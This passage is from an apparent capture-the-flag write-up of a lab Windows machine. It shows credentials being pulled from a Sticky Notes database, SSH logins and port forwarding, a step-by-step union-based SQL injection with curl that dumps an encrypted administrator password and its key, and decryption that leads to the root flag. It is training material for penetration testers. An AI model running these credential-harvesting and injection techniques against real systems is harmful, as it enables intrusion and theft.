 Volume Serial Number is 7C07-CD3A

 Directory of C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

01/15/2021  05:10 PM    <DIR>          .
01/15/2021  05:10 PM    <DIR>          ..
01/15/2021  05:10 PM            20,480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
11/29/2020  04:10 AM             4,096 plum.sqlite
01/15/2021  05:10 PM            32,768 plum.sqlite-shm
01/15/2021  05:10 PM           329,632 plum.sqlite-wal
               4 File(s)        386,976 bytes
               2 Dir(s)   5,515,014,144 bytes free
```

We can see that the `plum.sqlite-wal` file is the one that weighs the most. Let's transfer it to our machine. First, set a simple *SMB* server on our local machine.

> impacket-smbserver smbFolder $(pwd) -smb2support

Then, on the victim machine, copy the file to the `smbFolder` share.

> copy plum.sqlite-wal \10.10.14.11\smbFolder

On our local machine, we can check that the file is a *SQLite* file.

> file plum.sqlite-wal

```
plum.sqlite-wal: SQLite Write-Ahead Log, version 3007000
```

But, if we try to see it's content with *SQLite*, we get an error.

> sqlite3 plum.sqlite-wal

```
SQLite version 3.39.2 2022-07-21 15:24:47
Enter ".help" for usage hints.
sqlite> .tables
Error: file is not a database
```

If we print out the readable strings of the file, we'll see some new credentials for the `development` user.

> strings plum.sqlite-wal

{% code overflow="wrap" %}

```
...
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]ManagedPosition=Yellow0c32c3d8-7c60-48ae-939e-798df198cfe78e814e57-9d28-4288-961c-31c806338c5b
```

{% endcode %}

Let's log in as the `development` user.

> sshpass -p 'fN3)sN5Ee\@g' ssh development\@10.10.10.228

```
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
                                                    
development@BREADCRUMBS C:\Users\development>whoami 
breadcrumbs\development
```

At this point, if we check the root directory, we'll see thee `Development` directory.

> dir \\

```
 Volume in drive C has no label.                          
 Volume Serial Number is 7C07-CD3A                        
                                                          
 Directory of C:\                                         
                                                          
01/15/2021  05:03 PM    <DIR>          Anouncements       
01/15/2021  05:03 PM    <DIR>          Development        
12/07/2019  02:14 AM    <DIR>          PerfLogs           
02/01/2021  08:50 AM    <DIR>          Program Files      
12/07/2019  02:54 AM    <DIR>          Program Files (x86)
01/17/2021  02:41 AM    <DIR>          Users              
02/01/2021  02:10 AM    <DIR>          Windows            
               0 File(s)              0 bytes             
               7 Dir(s)   5,511,622,656 bytes free
```

Which contains a binary called `Krypter_Linux`.

> dir \Development

```
 Volume in drive C has no label.                    
 Volume Serial Number is 7C07-CD3A                  
                                                    
 Directory of C:\Development                        
                                                    
01/15/2021  05:03 PM    <DIR>          .            
01/15/2021  05:03 PM    <DIR>          ..           
11/29/2020  04:11 AM            18,312 Krypter_Linux
               1 File(s)         18,312 bytes       
               2 Dir(s)   5,511,667,712 bytes free
```

Let's transfer it to our machine, the same way we did it before. This time, if we check the readable strings on the binary, we'll see a URL with some HTTP parameters.

> strings Krypter\_Linux

```
...
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
...
```

But, as we can see, port 1234 is only available locally.

> &#x20;netstat -nat

* `-n` show active **TCP connections**.
* `-a` show TCP and UDP listening **ports**.
* `-t` displays the **download status** of the current connection.

```
Active Connections

  Proto  Local Address          Foreign Address        State           Offload State
...
  TCP    127.0.0.1:1234         0.0.0.0:0              LISTENING       InHost
...
```

To access the website, we'll have to do port forwarding with SSH.

> sshpass -p 'jUli901./())!' ssh juliette\@10.10.10.228 -L 1234:127.0.0.1:1234

* `-L` local **port forwarding** is enabled.

If now we make a GET request to our local machine on port 1234, with the parameters that we saw, we'll see what looks like the AES key needed to decrypt the administrator password.

> curl -s "<http://127.0.0.1:1234/?method=select\\&username=administrator\\&table=passwords>"

```
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}
```

If we change the value of the `username` parameter, from `administrator` to `'`, we'll get an SQL error.

> curl -s "<http://127.0.0.1:1234/?method=select\\&username='\\&table=passwords>"

```
select<br />
<b>Fatal error</b>:  Uncaught TypeError: mysqli_fetch_all(): Argument #1 ($result) must be of type mysqli_result, bool given in C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php:18
Stack trace:
#0 C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php(18): mysqli_fetch_all(false, 1)
#1 {main}
  thrown in <b>C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php</b> on line <b>18</b><br />
```

It looks like the application is vulnerable to SQL Injection. Let's try to check if the database has only one table.

> curl -X POST "<http://127.0.0.1:1234/>" -d "method=select\&username='union select 1 -- -\&table=passwords"

```
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(1) "1"
  }
}
```

As we don't get any error, there is only one table in the current database. We could see that the database name is `bread`.

> curl -X POST "<http://127.0.0.1:1234/>" -d "method=select\&username='union select database()-- -\&table=passwords"

```
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(5) "bread"
  }
}
```

We can see that there is one table called `passwords`.

> curl -X POST "<http://127.0.0.1:1234/>" -d "method=select\&username='union select table\_name from information\_schema.tables where table\_schema='bread'-- -\&table=passwords"

```
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(9) "passwords"
  }
}
```

The `passwords` table has the `id`, `account`, `password` and `aes_key` columns.

> curl -X POST "<http://127.0.0.1:1234/>" -d "method=select\&username='union select column\_name from information\_schema.columns where table\_schema='bread' and table\_name='passwords'-- -\&table=passwords"

```
selectarray(4) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(2) "id"
  }
  [1]=>
  array(1) {
    ["aes_key"]=>
    string(7) "account"
  }
  [2]=>
  array(1) {
    ["aes_key"]=>
    string(8) "password"
  }
  [3]=>
  array(1) {
    ["aes_key"]=>
    string(7) "aes_key"
  }
}
```

Now we can print out the values of all those columns separated by the `:` character.

> curl -X POST "<http://127.0.0.1:1234/>" -d "method=select\&username='union select concat(id,0x3a,account,0x3a,password,0x3a,aes\_key) from bread.passwords-- -\&table=passwords"

```
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(77) "1:Administrator:H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=:k19D193j.<19391("
  }
}
```

Now, we have the password of the `Administrator` user, but it is encoded in *base64*, and then encrypted in *AES*. Let's use [CyberChef ](https://gchq.github.io/CyberChef/)and try to break it. Copy and paste the password in the `Input` field, then find `From Base64` operation, drag it to the `Recipe` section, and do the same with the `AES Decrypt` operation. Then copy the AES key that we got in the SQL Injection, and paste it in the `Key` field of the `AES Decrypt` operation, change the key encoding to `UTF8`, and the input type to `Raw`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FvAdERFIbUFfXPMmtFijR%2Fimage.png?alt=media&#x26;token=a1f13b05-c804-4261-919c-0477fce672e6" alt=""><figcaption></figcaption></figure>

We can't decrypt the password yet because the IV field is missing. We could try to fill it with `0` numbers. Do it until the output message doesn't say that is expecting any more bytes, then we'll get the password for the `administrator` user.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FN3pJVfFeb4AAbdrE4cO2%2Fimage.png?alt=media&#x26;token=37600c84-bc15-40c2-b175-c9f3cd2c61de" alt=""><figcaption></figcaption></figure>

Now, log in via SSH as the administrator user, and then all we have to do is reap the harvest and take the root flag.

> sshpass -p 'p\@ssw0rd!@#$9890./' ssh administrator\@10.10.10.228

```
administrator@BREADCRUMBS C:\Users\Administrator>whoami
breadcrumbs\administrator

administrator@BREADCRUMBS C:\Users\Administrator>type Desktop\root.txt
a49eb77fdf06b67bc60ffc4f0850770f
```
